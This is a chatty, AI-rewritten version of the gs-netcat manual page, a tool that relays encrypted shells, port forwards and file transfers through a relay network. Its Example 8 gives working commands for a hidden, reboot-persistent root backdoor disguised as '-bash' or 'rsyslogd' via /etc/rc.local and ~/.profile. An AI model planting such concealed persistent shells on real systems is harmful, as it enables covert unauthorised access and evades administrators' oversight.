GS-NETCAT(1)
π GS-NETCAT(1) β the gs-netcat manual, bestie edition π¦
okay so this is gs-netcat, from the General Commands Manual, and I am so excited to walk you through it. it's long, it's juicy, and we're doing it in parts. buckle up. β¨
β¨ NAME β¨
gs-netcat β transfer data, forward traffic and execute commands on a remote host. Securely. π
πΈ SYNOPSIS πΈ
gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP]
[-p port] [-e cmd]
π DESCRIPTION π
so gs-netcat is a re-implementation of netcat, right? except it lets two or more users set up a secure TCP connection with each other even when everybody is stuck behind a NAT/Firewall and literally cannot connect to each other directly. the classic scenario: one workstation talking to another workstation on a totally different Local Area Network. no cap. π«Ά
instead of direct TCP connections, it uses the Global Socket Relay Network (GSRN). neither workstation has to open a port in their firewall or accept incoming TCP connections. not me being obsessed with a tool that just works through your firewall. π
the connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. the GSRN only ever sees the encrypted traffic. iconic behavior, honestly. π
common uses include:
- simple TCP proxies
- PTY shell
- File transfer
- a SOCKS ProxyCommand for
ssh(1) - and much, much more.
π OPTIONS π
-Cβ Disable encryption and use clear-text instead. Use with caution. like, genuinely, be careful bestie.-d ipβ Destination IPv4 address for port forwarding.-Dβ Daemon & Watchdog mode. Startsgs-netcatas a background process and restarts it if it gets killed. it's giving unkillable. π-e cmdβ Execute command and send output to the connected client. Needs-l.-gβ Generate a secure random password and output it to standard output. free strong password, slay. π-iβ Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (withCtrl-Cetc. working). The client can terminate the session by typing'Ctrl-e q'at any time or by typing'exit'. The server supports multiple clients at the same time. (multiple clients?! the way this serves a whole group chat β¨)-k fileβ A file containing the password.-lβ Server/Listening mode. The default mode is client. so if you don't say-l, you're the client, periodt.-L fileβ Log file [default: standard out]-p portβ Port to listen on or to forward traffic to[1-65535].-qβ Quiet mode. Do not output any warnings or errors. shhh. π€«-rβ Receive-only. Do not send any data. Terminate when no more data is available for reading.-s secretβ A password chosen by the user. Both users need to use the same password to connect.-Sβ Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiplegs-netcatclients to (securely) relay traffic via the server. Needs-l.-Tβ Use TOR. Thegs-netcattool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.-tβ Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer. just a lil vibe check on your peer π-uβ Use UDP instead of TCP for port forwarding. Needs-p.-vβ Prints status messages. Use-vvto be more verbose and-vvvto be insanely verbose. we love a chatty king. π£οΈ-wβ Client to wait for the listening server to become available.
π₯οΈ CONSOLE π₯οΈ
the interactive login shell (-i) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. the command console displays the following information:
- Latency (in milliseconds) to the remote host
- Warning when a user logs into the system or becomes active
- Data throughput
- File transfer logs
Type 'help' for a list of available commands. π
π FILETRANSFER π
File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off. (yes bestie, it resumes. we love resilience. π)
the 'put' command is used for uploading:
put foobar.txt
put $HOME/foobar.txt
put /tmp/*.log
put $(find. -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion) β¨
It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine. (the . is doing sneaky main character work here π)
the 'get' command is used for downloading:
get foobar.txt
get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories within that directory (recursively):
get /var/log
get /
The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem. π (the ENTIRE filesystem. girl. be careful.)
Multiple get/put commands can be scheduled at the same time. multitasking queen. π
π EXAMPLES π
Example 1 β Listen for a new connection using the password 'MySecret':
$ gs-netcat -s MySecret -l
Connect with client using the same password:
$ gs-netcat -s MySecret
Example 2 β spawn a PTY login shell when a client connects:
$ gs-netcat -s MySecret -l -i
Log in to server's interactive shell:
$ gs-netcat -s MySecret -i
Log in via TOR:
$ gs-netcat -s MySecret -i -T
Log in via a Socks5 Proxy:
$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=1080
$ gs-netcat -s MySecret -i -T
Example 3 β Execute a command when a client connects:
$ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
Connect client to the server:
$ gs-netcat -s MySecret
Example 4 β Pipe data from client to server:
$ gs-netcat -s MySecret -l -r >warez.tar.gz
Client to read 'warez.tar.gz' and pipe it to the server.
$ gs-netcat -s MySecret <warez.tar.gz
Example 5 β Server to act as a SOCKS4/4a/5 server:
$ gs-netcat -s MySecret -l -S
Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS server:
$ gs-netcat -s MySecret -p 1080
Example 6 β TCP Port Forward all connections to 192.168.6.7:22. Server:
$ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22.
$ gs-netcat -s MySecret -p 2222
$ ssh -p 2222 root@127.0.0.1
The same using 1 command:
$ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored
Example 7 β Creating an SFTP server using gs-netcat:
$ gs-netcat -s MySecret -l -e /usr/lib/sftp-server
The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).:
$ export GSOCKET_ARGS='-s MySecret'
$ sftp -D gs-netcat
Example 8 β Encrypted Reverse PTY shell hidden as '-bash' in the process list - also known as 'backdoor':
$ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)
The following line in /etc/rc.local starts the backdoor after each system reboot:
GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color
SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd
/usr/local/bin/gs-netcat"
The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:
GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec
-a rsyslogd /usr/local/bin/gs-netcat"
The following line in the user's ~/.profile starts the backdoor (once) when the user logs in. All in one line:
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3
-liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list. π«£
Client to connect to the backdoor:
$ gs-netcat -s MySecret -i
π± ENVIRONMENT π±
The following environment variables can be set to control the behavior of gs-netcat
GSOCKET_SOCKS_IPβ Specify the IP address of the TOR server (or any other SOCKS server). Use together with-T. Default is127.0.0.1.GSOCKET_SOCKS_PORTβ The port number of the TOR server (or any other SOCKS server). Use together with-T. Default is9050.GSOCKET_ARGSβ A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters fromGSOCKET_ARGS.
π SECURITY π
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
$ gs-netcat -k <file>
$ export GSOCKET_ARGS="-s MySecret"
$ gs-netcat
- The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
- The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
- The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
- Do not use stupid passwords like
'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt usegs-netcat -gto generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect. - If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
- Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use
-a <token>if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection. - SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known. π
π NOTES π
The latest version is available from https://github.com/hackerschoice/gsocket/.
π SEE ALSO π
gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)
okay that's part 1 bestie, and there's more coming so don't go anywhere πΈπ
π BUGS (yes bestie, we're doing the bug section) π
Okay so real talk for a sec β the devs have genuinely tried to make gs-netcat "do the right thing" in all of its various modes. Like, they put in the effort, they really did. π
But if you're out here and you believe it's doing the wrong thing under whatever circumstances β no matter how weird or specific or "why would anyone even do that" the situation is β please, do not gatekeep. Notify the maintainer and spill the tea:
- π§ email:
skyper@thc.org
And when you do, tell them how you think it should behave. Don't just say "it's broken, fix it π" β tell them what you expected it to do instead. That's the whole vibe check. π«Ά
lowkey this is a "help me help you" moment β the more you explain what the right behavior looks like to you, the more likely it gets fixed. iykyk β¨
π that's a wrap, bestie π
And that's the whole page, fr fr. This one came from the Debian side of things, dated October 08, 2020, and it's filed under GS-NETCAT(1). π
Go forth and gs-netcat responsibly. You got this. πΈπ¦π
π¦ where this page comes from
- arch rolling: gsocket 1.4.43-1 Β· custom
- debian bookworm: gsocket 1.4.39-1 Β· BSD-2-Clause
- debian trixie: gsocket 1.4.43-4 Β· BSD-2-Clause
- nixos 26.05: gsocket 1.4.43
- nixpkgs unstable: gsocket 1.4.43
- ubuntu noble: gsocket 1.4.41-1build2 Β· BSD-2-Clause
- ubuntu questing: gsocket 1.4.43-4
- ubuntu resolute: gsocket 1.4.43-4build1 Β· BSD-2-Clause
- ubuntu stonking: gsocket 1.4.43-5 Β· BSD-2-Clause
- π girlified by deepseek-ai/DeepSeek-V4.1-Flash on : a language model's rewrite of the original, under its terms